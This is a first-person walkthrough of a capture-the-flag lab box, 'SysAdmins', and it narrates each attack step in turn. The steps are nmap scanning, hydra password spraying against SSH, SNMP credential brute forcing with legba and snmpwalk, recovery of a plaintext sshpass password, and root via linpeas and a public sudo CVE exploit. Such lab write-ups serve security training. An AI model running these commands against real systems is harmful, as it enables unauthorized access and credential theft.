HackSmarter Challenge Lab: SysAdmins (Medium) - SysAdminsSYSADM

•  - Connect to VPN
• ping X.X.XX
• 

• nmap -A X.X.X.X
•  

• Let's take a look at ftp on port 21 
• We found something on the FTP Server 
•  
• Let's read/cat it. 
•  Hi team,
  
  We are writing to inform you of a recent data breach that may have affected some of your information.
  
  Last week, a threat actor accessed our systems after compromising a vulnerable web application and exfiltrated some users' passwords, along with usernames and emails.
  
  We strongly recommend that you change your password as soon as possible if your details appear in the data leak published by the attacker at https[:]//pastebin[.]com/mqPMU1cF.
  
  We'll continue to share updates through this channel.
  
  Please do not hesitate to reach out to us if you have any questions.
  
  Our team is working around the clock to deal with this situation, and we really appreciate your patience and understanding.
  
  Kind regards,
  Peter
  Lead Sysadmin 
  
  

• We visit the PasteBin and we see a lot of credentials, this leads me to believe we can password spray after finding usernames.  
•  
• Let's visit Port 80 now
•  We see a nice page where we get some usernames :)
•  
• 

• Let's Password Spray
• We have 3 Users and A lot of passwords 
• hydra -l waserby -P passwords ssh://10.1.137.94
• hydra -l peter -P passwords ssh://10.1.137.94
• hydra -l helena -P passwords ssh://10.1.137.94
• I didn't get anywhere.
• Here I cheated and watch a video, Enumerate more things, UDP Ports. 
• We see SNMP is open.  
• Our online friend used LEGBA

• docker run \
    -v $(pwd):/data \ # shared the current directory as /data inside the container
    --network host \ # docker will use the same network of the host
    -it evilsocket/legba:latest \
    snmp --username waserby --password /data/your-wordlist.txt --target 192.168.1.1

• We are going to use SNMP 
• apt-get install snmp
• snmpwalk itself does not do password spraying , chatgpt to the rescue. 
•  I created this script : 
• https://github.com/TechTucson/Scripting/tree/master/HackSmarter/Challenge/SysAdmin 
• There's more that this needs but it's a start 
• Now we have a username and a password:
• waserby:butterfly 
•  Let's get everything we can from SNMP
• We'll use the same command:
• snmpwalk         -v3         -t 2         -r 1         -l authNoPriv         -u "waserby"         -a MD5         -A "butterfly"         "10.1.137.94"  > EXPORT
• we used the > thingy to send the output to  a file called EXPORT
• We can then cat EXPORT, but there's a lot of stuff in there. 
• let's cat EXPORT | grep password
• or grep ssh
• We get a different set of credentials 
• cat EXPORT | grep pass
  iso.3.6.1.2.1.25.4.2.1.5.930 = STRING: "-c sshpass -p 'PerfectIsTheEnemyOfDone223!' ssh helena@sysadmins; sleep 60" 
• We can then login to ssh
• we see our user flag
• Now it's been a while that i've done PrivEsc but I do remember LinPEas
• scp linpeas.sh helena@10.1.137.94:/home/helena/linpeas.sh
• chmod +x linpeas.sh
• ./linpeas.sh 
•  
• I immediately  focused on the yellow/red and I'll save you some time I did not have initial success
• 
•  I tried PeditCow, DirtyFrag, DirtyClone, I am pretty sure if I kept on trying I would have gotten it. 
• What I did miss was the first red output in LinPeas 
•  
• Look there's a CVE https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
• git clone that sucker
• transfer the .sh file with scp 
• make it executable
• and execute it
•  You are now root
• cd /root
• cat root.txt